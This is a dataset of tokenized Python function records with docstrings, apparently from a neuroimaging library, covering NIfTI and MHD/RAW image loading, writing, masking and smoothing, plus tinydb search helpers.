{"signature": "def new_img_like(ref_niimg, data, affine=None, copy_header=False):", "body": "<EOL>if not (hasattr(ref_niimg, '<STR_LIT>')<EOL>and hasattr(ref_niimg,'<STR_LIT>')):<EOL><INDENT>if isinstance(ref_niimg, _basestring):<EOL><INDENT>ref_niimg = nib.load(ref_niimg)<EOL><DEDENT>elif operator.isSequenceType(ref_niimg):<EOL><INDENT>ref_niimg = nib.load(ref_niimg[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(('<STR_LIT>'<EOL>'<STR_LIT>') % ref_niimg )<EOL><DEDENT><DEDENT>if affine is None:<EOL><INDENT>affine = ref_niimg.get_affine()<EOL><DEDENT>if data.dtype == bool:<EOL><INDENT>default_dtype = np.int8<EOL>if (LooseVersion(nib.__version__) >= LooseVersion('<STR_LIT>') and<EOL>isinstance(ref_niimg, nib.freesurfer.mghformat.MGHImage)):<EOL><INDENT>default_dtype = np.uint8<EOL><DEDENT>data = as_ndarray(data, dtype=default_dtype)<EOL><DEDENT>header = None<EOL>if copy_header:<EOL><INDENT>header = copy.copy(ref_niimg.get_header())<EOL>header['<STR_LIT>'] = <NUM_LIT:0.><EOL>header['<STR_LIT>'] = <NUM_LIT:0.><EOL>header['<STR_LIT>'] = <NUM_LIT:0.><EOL>header['<STR_LIT>'] = np.max(data) if data.size > <NUM_LIT:0> else <NUM_LIT:0.><EOL>header['<STR_LIT>'] = np.min(data) if data.size > <NUM_LIT:0> else <NUM_LIT:0.><EOL><DEDENT>return ref_niimg.__class__(data, affine, header=header)<EOL>", "docstring": "Create a new image of the same class as the reference image\n\n    Parameters\n    ----------\n    ref_niimg: image\n        Reference image. The new image will be of the same type.\n\n    data: numpy array\n        Data to be stored in the image\n\n    affine: 4x4 numpy array, optional\n        Transformation matrix\n\n    copy_header: boolean, optional\n        Indicated if the header of the reference image should be used to\n        create the new image\n\n    Returns\n    -------\n    new_img: image\n        A loaded image with the same type (and header) as the reference image.", "id": "f4094:m9"}
{"signature": "def check_mhd_img(image, make_it_3d=False):", "body": "if isinstance(image, string_types):<EOL><INDENT>if not op.exists(image):<EOL><INDENT>raise FileNotFound(image)<EOL><DEDENT>ext = get_extension(image).lower()<EOL>if not '<STR_LIT>' in ext:<EOL><INDENT>warnings.warn('<STR_LIT>'.format(image))<EOL><DEDENT>img, hdr = load_raw_data_with_mhd(image)<EOL>if make_it_3d:<EOL><INDENT>img = _make_it_3d(img)<EOL><DEDENT>return img<EOL><DEDENT>elif is_img(image):<EOL><INDENT>return image<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(type(image)))<EOL><DEDENT>", "docstring": "Check that image is a proper img. Turn filenames into objects.\n\n    Parameters\n    ----------\n    image: img-like object or str\n        Can either be:\n        - a file path to a .mhd file. (if it is a .raw file, this won't work).\n        - any object with get_data() and get_affine() methods, e.g., nibabel.Nifti1Image.\n        If niimg is a string, consider it as a path to .mhd image and\n        call load_raw_data_with_mhd on it. If it is an object, check if get_data()\n        and get_affine() methods are present, raise TypeError otherwise.\n\n    make_it_3d: boolean, optional\n        If True, check if the image is a 3D image and raise an error if not.\n\n    Returns\n    -------\n    result: nifti-like\n       result can be nibabel.Nifti1Image or the input, as-is. It is guaranteed\n       that the returned object has get_data() and get_affine() methods.", "id": "f4096:m0"}
{"signature": "def _make_it_3d(img):", "body": "shape = img.shape<EOL>if len(shape) == <NUM_LIT:3>:<EOL><INDENT>return img<EOL><DEDENT>elif len(shape) == <NUM_LIT:4> and shape[<NUM_LIT:3>] == <NUM_LIT:1>:<EOL><INDENT>return img[:, :, :, <NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>'.format(shape))<EOL><DEDENT>", "docstring": "Enforce that img is a 3D img-like object, if it is not, raise a TypeError.\n    i.e., remove dimensions of size 1.\n\n    Parameters\n    ----------\n    img: numpy.ndarray\n        Image data array\n\n    Returns\n    -------\n    3D numpy ndarray object", "id": "f4096:m1"}
{"signature": "def write_meta_header(filename, meta_dict):", "body": "header = '<STR_LIT>'<EOL>for tag in MHD_TAGS:<EOL><INDENT>if tag in meta_dict.keys():<EOL><INDENT>header += '<STR_LIT>'.format(tag, meta_dict[tag])<EOL><DEDENT><DEDENT>with open(filename, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(header)<EOL><DEDENT>", "docstring": "Write the content of the `meta_dict` into `filename`.\n\n    Parameters\n    ----------\n    filename: str\n        Path to the output file\n\n    meta_dict: dict\n        Dictionary with the fields of the metadata .mhd file", "id": "f4098:m0"}
{"signature": "def dump_raw_data(filename, data):", "body": "if data.ndim == <NUM_LIT:3>:<EOL><INDENT>data = data.reshape([data.shape[<NUM_LIT:0>], data.shape[<NUM_LIT:1>]*data.shape[<NUM_LIT:2>]])<EOL><DEDENT>a = array.array('<STR_LIT:f>')<EOL>for o in data:<EOL><INDENT>a.fromlist(list(o.flatten()))<EOL><DEDENT>with open(filename, '<STR_LIT:wb>') as rawf:<EOL><INDENT>a.tofile(rawf)<EOL><DEDENT>", "docstring": "Write the data into a raw format file. Big endian is always used.\n\n    Parameters\n    ----------\n    filename: str\n        Path to the output file\n\n    data: numpy.ndarray\n        n-dimensional image data array.", "id": "f4098:m1"}
{"signature": "def write_mhd_file(filename, data, shape=None, meta_dict=None):", "body": "<EOL>ext = get_extension(filename)<EOL>fname = op.basename(filename)<EOL>if ext != '<STR_LIT>' or ext != '<STR_LIT>':<EOL><INDENT>mhd_filename = fname + '<STR_LIT>'<EOL>raw_filename = fname + '<STR_LIT>'<EOL><DEDENT>elif ext == '<STR_LIT>':<EOL><INDENT>mhd_filename = fname<EOL>raw_filename = remove_ext(fname) + '<STR_LIT>'<EOL><DEDENT>elif ext == '<STR_LIT>':<EOL><INDENT>mhd_filename = remove_ext(fname) + '<STR_LIT>'<EOL>raw_filename = fname<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'.format(ext, filename))<EOL><DEDENT>if meta_dict is None:<EOL><INDENT>meta_dict = {}<EOL><DEDENT>if shape is None:<EOL><INDENT>shape = data.shape<EOL><DEDENT>meta_dict['<STR_LIT>']             = meta_dict.get('<STR_LIT>',             '<STR_LIT>')<EOL>meta_dict['<STR_LIT>']             = meta_dict.get('<STR_LIT>',             '<STR_LIT:True>' )<EOL>meta_dict['<STR_LIT>'] = meta_dict.get('<STR_LIT>', '<STR_LIT:False>')<EOL>meta_dict['<STR_LIT>']            = meta_dict.get('<STR_LIT>',            NUMPY_TO_MHD_TYPE[data.dtype.type])<EOL>meta_dict['<STR_LIT>']                  = meta_dict.get('<STR_LIT>',                  str(len(shape)))<EOL>meta_dict['<STR_LIT>']                = meta_dict.get('<STR_LIT>',                '<STR_LIT:U+0020>'.join([str(i) for i in shape]))<EOL>meta_dict['<STR_LIT>']        = meta_dict.get('<STR_LIT>',        raw_filename)<EOL>mhd_filename = op.join(op.dirname(filename), mhd_filename)<EOL>raw_filename = op.join(op.dirname(filename), raw_filename)<EOL>write_meta_header(mhd_filename, meta_dict)<EOL>dump_raw_data(raw_filename, data)<EOL>return mhd_filename, raw_filename<EOL>", "docstring": "Write the `data` and `meta_dict` in two files with names\n    that use `filename` as a prefix.\n\n    Parameters\n    ----------\n    filename: str\n        Path to the output file.\n        This is going to be used as a preffix.\n        Two files will be created, one with a '.mhd' extension\n        and another with '.raw'. If `filename` has any of these already\n        they will be taken into account to build the filenames.\n\n    data: numpy.ndarray\n        n-dimensional image data array.\n\n    shape: tuple\n        Tuple describing the shape of `data`\n        Default: data.shape\n\n    meta_dict: dict\n        Dictionary with the fields of the metadata .mhd file\n        Default: {}\n\n    Returns\n    -------\n    mhd_filename: str\n        Path to the .mhd file\n\n    raw_filename: str\n        Path to the .raw file", "id": "f4098:m2"}
{"signature": "def copy_mhd_and_raw(src, dst):", "body": "<EOL>if not op.exists(src):<EOL><INDENT>raise IOError('<STR_LIT>'.format(src))<EOL><DEDENT>ext = get_extension(src)<EOL>if ext != '<STR_LIT>':<EOL><INDENT>msg = '<STR_LIT>'.format(src)<EOL>raise ValueError(msg)<EOL><DEDENT>meta_src = _read_meta_header(src)<EOL>src_raw = meta_src['<STR_LIT>']<EOL>if not op.isabs(src_raw):<EOL><INDENT>src_raw = op.join(op.dirname(src), src_raw)<EOL><DEDENT>if op.isdir(dst):<EOL><INDENT>shutil.copyfile(src, dst)<EOL>shutil.copyfile(src_raw, dst)<EOL>return dst<EOL><DEDENT>dst_raw = op.join(op.dirname(dst), remove_ext(op.basename(dst))) + '<STR_LIT>'<EOL>if get_extension(dst) != '<STR_LIT>':<EOL><INDENT>dst += '<STR_LIT>'<EOL><DEDENT>log.debug('<STR_LIT>'.format(src,     dst))<EOL>log.debug('<STR_LIT>'.format(src_raw, dst_raw))<EOL>shutil.copyfile(src, dst)<EOL>shutil.copyfile(src_raw, dst_raw)<EOL>if op.basename(dst) != op.basename(src):<EOL><INDENT>log.debug('<STR_LIT>'.format(dst, src_raw,<EOL>op.basename(dst_raw)))<EOL>meta_dst = _read_meta_header(dst)<EOL>meta_dst['<STR_LIT>'] = op.basename(dst_raw)<EOL>write_meta_header(dst, meta_dst)<EOL><DEDENT>return dst<EOL>", "docstring": "Copy .mhd and .raw files to dst.\n\n    If dst is a folder, won't change the file, but if dst is another filepath,\n    will modify the ElementDataFile field in the .mhd to point to the\n    new renamed .raw file.\n\n    Parameters\n    ----------\n    src: str\n        Path to the .mhd file to be copied\n\n    dst: str\n        Path to the destination of the .mhd and .raw files.\n        If a new file name is given, the extension will be ignored.\n\n    Returns\n    -------\n    dst: str", "id": "f4098:m3"}
{"signature": "def _read_meta_header(filename):", "body": "fileIN = open(filename, '<STR_LIT:r>')<EOL>line   = fileIN.readline()<EOL>meta_dict = {}<EOL>tag_flag = [False]*len(MHD_TAGS)<EOL>while line:<EOL><INDENT>tags = str.split(line, '<STR_LIT:=>')<EOL>for i in range(len(MHD_TAGS)):<EOL><INDENT>tag = MHD_TAGS[i]<EOL>if (str.strip(tags[<NUM_LIT:0>]) == tag) and (not tag_flag[i]):<EOL><INDENT>meta_dict[tag] = str.strip(tags[<NUM_LIT:1>])<EOL>tag_flag[i] = True<EOL><DEDENT><DEDENT>line = fileIN.readline()<EOL><DEDENT>fileIN.close()<EOL>return meta_dict<EOL>", "docstring": "Return a dictionary of meta data from meta header file.\n\n    Parameters\n    ----------\n    filename: str\n        Path to a .mhd file\n\n    Returns\n    -------\n    meta_dict: dict\n        A dictionary with the .mhd header content.", "id": "f4099:m0"}
{"signature": "def load_raw_data_with_mhd(filename):", "body": "meta_dict = _read_meta_header(filename)<EOL>dim       = int(meta_dict['<STR_LIT>'])<EOL>assert (meta_dict['<STR_LIT>'] in MHD_TO_NUMPY_TYPE)<EOL>arr = [int(i) for i in meta_dict['<STR_LIT>'].split()]<EOL>volume = reduce(lambda x, y: x*y, arr[<NUM_LIT:0>:dim-<NUM_LIT:1>], <NUM_LIT:1>)<EOL>pwd       = op.dirname(filename)<EOL>raw_file  = meta_dict['<STR_LIT>']<EOL>data_file = op.join(pwd, raw_file)<EOL>ndtype    = MHD_TO_NUMPY_TYPE[meta_dict['<STR_LIT>']]<EOL>arrtype   = NDARRAY_TO_ARRAY_TYPE[ndtype]<EOL>with open(data_file, '<STR_LIT:rb>') as fid:<EOL><INDENT>binvalues = array.array(arrtype)<EOL>binvalues.fromfile(fid, volume*arr[dim-<NUM_LIT:1>])<EOL><DEDENT>data = np.array  (binvalues, ndtype)<EOL>data = np.reshape(data, (arr[dim-<NUM_LIT:1>], volume))<EOL>if dim >= <NUM_LIT:3>:<EOL><INDENT>dimensions = [int(i) for i in meta_dict['<STR_LIT>'].split()]<EOL>data       = data.reshape(dimensions)<EOL><DEDENT>return data, meta_dict<EOL>", "docstring": "Return a dictionary of meta data from meta header file.\n\n    Parameters\n    ----------\n    filename: str\n        Path to a .mhd file\n\n    Returns\n    -------\n    data: numpy.ndarray\n        n-dimensional image data array.\n\n    meta_dict: dict\n        A dictionary with the .mhd header content.", "id": "f4099:m1"}
{"signature": "def get_3D_from_4D(filename, vol_idx=<NUM_LIT:0>):", "body": "def remove_4th_element_from_hdr_string(hdr, fieldname):<EOL><INDENT>if fieldname in hdr:<EOL><INDENT>hdr[fieldname] = '<STR_LIT:U+0020>'.join(hdr[fieldname].split()[:<NUM_LIT:3>])<EOL><DEDENT><DEDENT>vol, hdr = load_raw_data_with_mhd(filename)<EOL>if vol.ndim != <NUM_LIT:4>:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(op.join(op.dirname(filename),<EOL>hdr['<STR_LIT>'])))<EOL><DEDENT>if not <NUM_LIT:0> <= vol_idx < vol.shape[<NUM_LIT:3>]:<EOL><INDENT>raise IndexError('<STR_LIT>'.format(filename,<EOL>vol.shape[<NUM_LIT:3>], vol_idx))<EOL><DEDENT>new_vol = vol[:, :, :, vol_idx].copy()<EOL>hdr['<STR_LIT>'] = <NUM_LIT:3><EOL>remove_4th_element_from_hdr_string(hdr, '<STR_LIT>')<EOL>remove_4th_element_from_hdr_string(hdr, '<STR_LIT>')<EOL>return new_vol, hdr<EOL>", "docstring": "Return a 3D volume from a 4D nifti image file\n\n    Parameters\n    ----------\n    filename: str\n        Path to the 4D .mhd file\n\n    vol_idx: int\n        Index of the 3D volume to be extracted from the 4D volume.\n\n    Returns\n    -------\n    vol, hdr\n        The data array and the new 3D image header.", "id": "f4099:m2"}
{"signature": "def tabulate(self, tablefmt='<STR_LIT>'):", "body": "return tabulate(self, tablefmt=tablefmt)<EOL>", "docstring": ":param tablefmt: string\n Supported table formats are:\n\"plain\"\n\"simple\"\n\"grid\"\n\"pipe\"\n\"orgtbl\"\n\"rst\"\n\"mediawiki\"\n\"latex\"\n\n:return: tabulate\nTabulated content", "id": "f4100:c0:m1"}
{"signature": "def tabulate(self, tablefmt='<STR_LIT>'):", "body": "return tabulate(list(self.items()), tablefmt=tablefmt)<EOL>", "docstring": ":param tablefmt: string\n Supported table formats are:\n\"plain\"\n\"simple\"\n\"grid\"\n\"pipe\"\n\"orgtbl\"\n\"rst\"\n\"mediawiki\"\n\"latex\"\n\n:return: tabulate\nTabulated content", "id": "f4100:c1:m1"}
{"signature": "@property<EOL><INDENT>def affine(self):<DEDENT>", "body": "return self.img.affine<EOL>", "docstring": "Return the affine matrix from the image", "id": "f4101:c0:m7"}
{"signature": "@property<EOL><INDENT>def header(self):<DEDENT>", "body": "return self.img.header<EOL>", "docstring": "Return the header from the image", "id": "f4101:c0:m8"}
{"signature": "def pixdim(self):", "body": "return self.get_header().get_zooms()<EOL>", "docstring": "Return the voxel size in the header of the file.", "id": "f4101:c0:m10"}
{"signature": "def get_data(self, safe_copy=False):", "body": "if safe_copy:<EOL><INDENT>data = get_data(self.img)<EOL><DEDENT>else:<EOL><INDENT>data = self.img.get_data(caching=self._caching)<EOL><DEDENT>return data<EOL>", "docstring": "Get the data in the image.\n         If save_copy is True, will perform a deep copy of the data and return it.\n\n        Parameters\n        ----------\n        smoothed: (optional) bool\n            If True and self._smooth_fwhm > 0 will smooth the data before masking.\n\n        masked: (optional) bool\n            If True and self.has_mask will return the masked data, the plain data otherwise.\n\n        safe_copy: (optional) bool\n\n        Returns\n        -------\n        np.ndarray", "id": "f4101:c0:m11"}
{"signature": "def to_file(self, outpath):", "body": "save_niigz(outpath, self.img)<EOL>", "docstring": "Save this object instance in outpath.\n\n        Parameters\n        ----------\n        outpath: str\n            Output file path", "id": "f4101:c0:m12"}
{"signature": "@smooth_fwhm.setter<EOL><INDENT>def smooth_fwhm(self, fwhm):<DEDENT>", "body": "if fwhm != self._smooth_fwhm:<EOL><INDENT>self._is_data_smooth = False<EOL><DEDENT>self._smooth_fwhm = fwhm<EOL>", "docstring": "Set a smoothing Gaussian kernel given its FWHM in mm.", "id": "f4101:c1:m5"}
{"signature": "def get_data(self, smoothed=True, masked=True, safe_copy=False):", "body": "if not safe_copy and smoothed == self._is_data_smooth and masked == self._is_data_masked:<EOL><INDENT>if self.has_data_loaded() and self._caching == '<STR_LIT>':<EOL><INDENT>return self.get_data()<EOL><DEDENT><DEDENT>if safe_copy:<EOL><INDENT>data = get_data(self.img)<EOL><DEDENT>else:<EOL><INDENT>data = self.img.get_data(caching=self._caching)<EOL><DEDENT>is_smoothed = False<EOL>if smoothed and self._smooth_fwhm > <NUM_LIT:0>:<EOL><INDENT>try:<EOL><INDENT>data = _smooth_data_array(data, self.get_affine(), self._smooth_fwhm, copy=False)<EOL><DEDENT>except ValueError as ve:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'.format(self.img, self._smooth_fwhm)) from ve<EOL><DEDENT>else:<EOL><INDENT>is_smoothed = True<EOL><DEDENT><DEDENT>is_data_masked = False<EOL>if masked and self.has_mask():<EOL><INDENT>try:<EOL><INDENT>data = self.unmask(self._mask_data(data)[<NUM_LIT:0>])<EOL><DEDENT>except:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>is_data_masked = True<EOL><DEDENT><DEDENT>if not safe_copy:<EOL><INDENT>self._is_data_masked = is_data_masked<EOL>self._is_data_smooth = is_smoothed<EOL><DEDENT>return data<EOL>", "docstring": "Get the data in the image.\n         If save_copy is True, will perform a deep copy of the data and return it.\n\n        Parameters\n        ----------\n        smoothed: (optional) bool\n            If True and self._smooth_fwhm > 0 will smooth the data before masking.\n\n        masked: (optional) bool\n            If True and self.has_mask will return the masked data, the plain data otherwise.\n\n        safe_copy: (optional) bool\n\n        Returns\n        -------\n        np.ndarray", "id": "f4101:c1:m10"}
{"signature": "def apply_mask(self, mask_img):", "body": "self.set_mask(mask_img)<EOL>return self.get_data(masked=True, smoothed=True, safe_copy=True)<EOL>", "docstring": "First set_mask and the get_masked_data.\n\n        Parameters\n        ----------\n        mask_img:  nifti-like image, NeuroImage or str\n            3D mask array: True where a voxel should be used.\n            Can either be:\n            - a file path to a Nifti image\n            - any object with get_data() and get_affine() methods, e.g., nibabel.Nifti1Image.\n            If niimg is a string, consider it as a path to Nifti image and\n            call nibabel.load on it. If it is an object, check if get_data()\n            and get_affine() methods are present, raise TypeError otherwise.\n\n        Returns\n        -------\n        The masked data deepcopied", "id": "f4101:c1:m13"}
{"signature": "def set_mask(self, mask_img):", "body": "mask = load_mask(mask_img, allow_empty=True)<EOL>check_img_compatibility(self.img, mask, only_check_3d=True) <EOL>self.mask = mask<EOL>", "docstring": "Sets a mask img to this. So every operation to self, this mask will be taken into account.\n\n        Parameters\n        ----------\n        mask_img: nifti-like image, NeuroImage or str\n            3D mask array: True where a voxel should be used.\n            Can either be:\n            - a file path to a Nifti image\n            - any object with get_data() and get_affine() methods, e.g., nibabel.Nifti1Image.\n            If niimg is a string, consider it as a path to Nifti image and\n            call nibabel.load on it. If it is an object, check if get_data()\n            and get_affine() methods are present, raise TypeError otherwise.\n\n        Note\n        ----\n        self.img and mask_file must have the same shape.\n\n        Raises\n        ------\n        FileNotFound, NiftiFilesNotCompatible", "id": "f4101:c1:m14"}
{"signature": "def _mask_data(self, data):", "body": "self._check_for_mask()<EOL>msk_data = self.mask.get_data()<EOL>if self.ndim == <NUM_LIT:3>:<EOL><INDENT>return data[msk_data], np.where(msk_data)<EOL><DEDENT>elif self.ndim == <NUM_LIT:4>:<EOL><INDENT>return _apply_mask_to_4d_data(data, self.mask)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(self, self.ndim, self.mask))<EOL><DEDENT>", "docstring": "Return the data masked with self.mask\n\n        Parameters\n        ----------\n        data: np.ndarray\n\n        Returns\n        -------\n        masked np.ndarray\n\n        Raises\n        ------\n        ValueError if the data and mask dimensions are not compatible.\n        Other exceptions related to numpy computations.", "id": "f4101:c1:m15"}
{"signature": "def apply_smoothing(self, smooth_fwhm):", "body": "if smooth_fwhm <= <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>old_smooth_fwhm   = self._smooth_fwhm<EOL>self._smooth_fwhm = smooth_fwhm<EOL>try:<EOL><INDENT>data = self.get_data(smoothed=True, masked=True, safe_copy=True)<EOL><DEDENT>except ValueError as ve:<EOL><INDENT>self._smooth_fwhm = old_smooth_fwhm<EOL>raise<EOL><DEDENT>else:<EOL><INDENT>self._smooth_fwhm = smooth_fwhm<EOL>return data<EOL><DEDENT>", "docstring": "Set self._smooth_fwhm and then smooths the data.\n        See boyle.nifti.smooth.smooth_imgs.\n\n        Returns\n        -------\n        the smoothed data deepcopied.", "id": "f4101:c1:m16"}
{"signature": "def mask_and_flatten(self):", "body": "self._check_for_mask()<EOL>return self.get_data(smoothed=True, masked=True, safe_copy=False)[self.get_mask_indices()],self.get_mask_indices(), self.mask.shape<EOL>", "docstring": "Return a vector of the masked data.\n\n        Returns\n        -------\n        np.ndarray, tuple of indices (np.ndarray), tuple of the mask shape", "id": "f4101:c1:m17"}
{"signature": "def unmask(self, arr):", "body": "self._check_for_mask()<EOL>if <NUM_LIT:1> > arr.ndim > <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'.format(arr.ndim,<EOL>len(self.mask.shape)))<EOL><DEDENT>if arr.ndim == <NUM_LIT:2>:<EOL><INDENT>return matrix_to_4dvolume(arr, self.mask.get_data())<EOL><DEDENT>elif arr.ndim == <NUM_LIT:1>:<EOL><INDENT>return vector_to_volume(arr, self.mask.get_data())<EOL><DEDENT>", "docstring": "Use self.mask to reshape arr and self.img to get an affine and header to create\n        a new self.img using the data in arr.\n        If self.has_mask() is False, will return the same arr.", "id": "f4101:c1:m18"}
{"signature": "def to_file(self, outpath):", "body": "if not self.has_mask() and not self.is_smoothed():<EOL><INDENT>save_niigz(outpath, self.img)<EOL><DEDENT>else:<EOL><INDENT>save_niigz(outpath, self.get_data(masked=True, smoothed=True),<EOL>self.get_header(), self.get_affine())<EOL><DEDENT>", "docstring": "Save this object instance in outpath.\n\n        Parameters\n        ----------\n        outpath: str\n            Output file path", "id": "f4101:c1:m19"}
{"signature": "def open_volume_file(filepath):", "body": "<EOL>if not op.exists(filepath):<EOL><INDENT>raise IOError('<STR_LIT>'.format(filepath))<EOL><DEDENT>def open_nifti_file(filepath):<EOL><INDENT>return NiftiImage(filepath)<EOL><DEDENT>def open_mhd_file(filepath):<EOL><INDENT>return MedicalImage(filepath)<EOL>vol_data, hdr_data = load_raw_data_with_mhd(filepath)<EOL>return vol_data, hdr_data<EOL><DEDENT>def open_mha_file(filepath):<EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>def _load_file(filepath, loader):<EOL><INDENT>return loader(filepath)<EOL><DEDENT>filext_loader = {<EOL>'<STR_LIT>': open_nifti_file,<EOL>'<STR_LIT>': open_mhd_file,<EOL>'<STR_LIT>': open_mha_file,<EOL>}<EOL>ext = get_extension(filepath)<EOL>loader = None<EOL>for e in filext_loader:<EOL><INDENT>if ext in e:<EOL><INDENT>loader = filext_loader[e]<EOL><DEDENT><DEDENT>if loader is None:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(filepath))<EOL><DEDENT>return _load_file(filepath, loader)<EOL>", "docstring": "Open a volumetric file using the tools following the file extension.\n\n    Parameters\n    ----------\n    filepath: str\n        Path to a volume file\n\n    Returns\n    -------\n    volume_data: np.ndarray\n        Volume data\n\n    pixdim: 1xN np.ndarray\n        Vector with the description of the voxels physical size (usually in mm) for each volume dimension.\n\n    Raises\n    ------\n    IOError\n        In case the file is not found.", "id": "f4102:m0"}
{"signature": "def _check_medimg(image, make_it_3d=True):", "body": "if isinstance(image, string_types):<EOL><INDENT>img = open_volume_file(image)<EOL>if make_it_3d:<EOL><INDENT>img = _make_it_3d(img)<EOL><DEDENT>return img<EOL><DEDENT>elif isinstance(image, np.array):<EOL><INDENT>return nib.Nifti2Image(image, affine=np.eye(image.ndim + <NUM_LIT:1>))<EOL><DEDENT>elif isinstance(image, nib.Nifti1Image) or is_img(image):<EOL><INDENT>return image<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(type(image)))<EOL><DEDENT>", "docstring": "Check that image is a proper img. Turn filenames into objects.\n\n    Parameters\n    ----------\n    image: img-like object or str\n        Can either be:\n        - a file path to a medical image file, e.g. NifTI, .mhd/raw, .mha\n        - any object with get_data() method and affine & header attributes, e.g., nibabel.Nifti1Image.\n        - a Numpy array, which will be wrapped by a nibabel.Nifti2Image class with an `eye` affine.\n        If niimg is a string, consider it as a path to Nifti image and\n        call nibabel.load on it. If it is an object, check if get_data()\n        and get_affine() methods are present, raise TypeError otherwise.\n\n    make_it_3d: boolean, optional\n        If True, check if the image is a 3D image and raise an error if not.\n\n    Returns\n    -------\n    result: nifti-like\n       result can be nibabel.Nifti1Image or the input, as-is. It is guaranteed\n       that the returned object has get_data() and get_affine() methods.", "id": "f4102:m1"}
{"signature": "def compose_err_msg(msg, **kwargs):", "body": "updated_msg = msg<EOL>for k, v in sorted(kwargs.items()):<EOL><INDENT>if isinstance(v, _basestring):  <EOL><INDENT>updated_msg += \"<STR_LIT:\\n>\" + k + \"<STR_LIT>\" + v<EOL><DEDENT><DEDENT>return updated_msg<EOL>", "docstring": "Append key-value pairs to msg, for display.\n\n    Parameters\n    ----------\n    msg: string\n        arbitrary message\n    kwargs: dict\n        arbitrary dictionary\n\n    Returns\n    -------\n    updated_msg: string\n        msg, with \"key: value\" appended. Only string values are appended.\n\n    Example\n    -------\n    >>> compose_err_msg('Error message with arguments...', arg_num=123, \\\n        arg_str='filename.nii', arg_bool=True)\n    'Error message with arguments...\\\\narg_str: filename.nii'\n    >>>", "id": "f4103:m0"}
{"signature": "def timestamp_with_tzinfo(dt):", "body": "utc = tzutc()<EOL>if dt.tzinfo:<EOL><INDENT>dt = dt.astimezone(utc).replace(tzinfo=None)<EOL><DEDENT>return dt.isoformat() + '<STR_LIT>'<EOL>", "docstring": "Serialize a date/time value into an ISO8601 text representation\nadjusted (if needed) to UTC timezone.\n\nFor instance:\n>>> serialize_date(datetime(2012, 4, 10, 22, 38, 20, 604391))\n'2012-04-10T22:38:20.604391Z'", "id": "f4104:m0"}
{"signature": "def timestamp_to_date_str(dt):", "body": "return str(dt.date())<EOL>", "docstring": "Serialize a date/time value into YYYY-MM-DD date string.", "id": "f4104:m1"}
{"signature": "def _to_string(data):", "body": "sdata = data.copy()<EOL>for k, v in data.items():<EOL><INDENT>if isinstance(v, datetime):<EOL><INDENT>sdata[k] = timestamp_to_date_str(v)<EOL><DEDENT>elif not isinstance(v, (string_types, float, int)):<EOL><INDENT>sdata[k] = str(v)<EOL><DEDENT><DEDENT>return sdata<EOL>", "docstring": "Convert to string all values in `data`.\n\n    Parameters\n    ----------\n    data: dict[str]->object\n\n    Returns\n    -------\n    string_data: dict[str]->str", "id": "f4104:m2"}
{"signature": "def insert_unique(table, data, unique_fields=None, *, raise_if_found=False):", "body": "item = find_unique(table, data, unique_fields)<EOL>if item is not None:<EOL><INDENT>if raise_if_found:<EOL><INDENT>raise NotUniqueItemError('<STR_LIT>'<EOL>'<STR_LIT>'.format(unique_fields,<EOL>data,<EOL>table.get(eid=item),<EOL>item))<EOL><DEDENT>else:<EOL><INDENT>return item<EOL><DEDENT><DEDENT>return table.insert(data)<EOL>", "docstring": "Insert `data` into `table` ensuring that data has unique values\n    in `table` for the fields listed in `unique_fields`.\n\n    If `raise_if_found` is True, will raise an NotUniqueItemError if\n    another item with the same `unique_fields` values are found\n    previously in `table`.\n    If False, will return the `eid` from the item found.\n\n    Parameters\n    ----------\n    table: tinydb.Table\n\n    data: dict\n\n    unique_fields: list of str\n        Name of fields (keys) from `data` which are going to be used to build\n        a sample to look for exactly the same values in the database.\n        If None, will use every key in `data`.\n\n    raise_if_found: bool\n\n    Returns\n    -------\n    eid: int\n        Id of the object inserted or the one found with same `unique_fields`.\n\n    Raises\n    ------\n    MoreThanOneItemError\n        Raise even with `raise_with_found` == False if it finds more than one item\n        with the same values as the sample.\n\n    NotUniqueItemError\n        If `raise_if_found` is True and an item with the same `unique_fields`\n        values from `data` is found in `table`.", "id": "f4104:m3"}
{"signature": "def search_sample(table, sample):", "body": "query = _query_sample(sample=sample, operators='<STR_LIT>')<EOL>return table.search(query)<EOL>", "docstring": "Search for items in `table` that have the same field sub-set values as in `sample`.\n\n    Parameters\n    ----------\n    table: tinydb.table\n\n    sample: dict\n        Sample data\n\n    Returns\n    -------\n    search_result: list of dict\n        List of the items found. The list is empty if no item is found.", "id": "f4104:m4"}
{"signature": "def search_unique(table, sample, unique_fields=None):", "body": "if unique_fields is None:<EOL><INDENT>unique_fields = list(sample.keys())<EOL><DEDENT>query = _query_data(sample, field_names=unique_fields, operators='<STR_LIT>')<EOL>items = table.search(query)<EOL>if len(items) == <NUM_LIT:1>:<EOL><INDENT>return items[<NUM_LIT:0>]<EOL><DEDENT>if len(items) == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>raise MoreThanOneItemError('<STR_LIT>'<EOL>'<STR_LIT>'.format(len(items)))<EOL>", "docstring": "Search for items in `table` that have the same field sub-set values as in `sample`.\n    Expecting it to be unique, otherwise will raise an exception.\n\n    Parameters\n    ----------\n    table: tinydb.table\n    sample: dict\n        Sample data\n\n    Returns\n    -------\n    search_result: tinydb.database.Element\n        Unique item result of the search.\n\n    Raises\n    ------\n    KeyError:\n        If the search returns for more than one entry.", "id": "f4104:m5"}
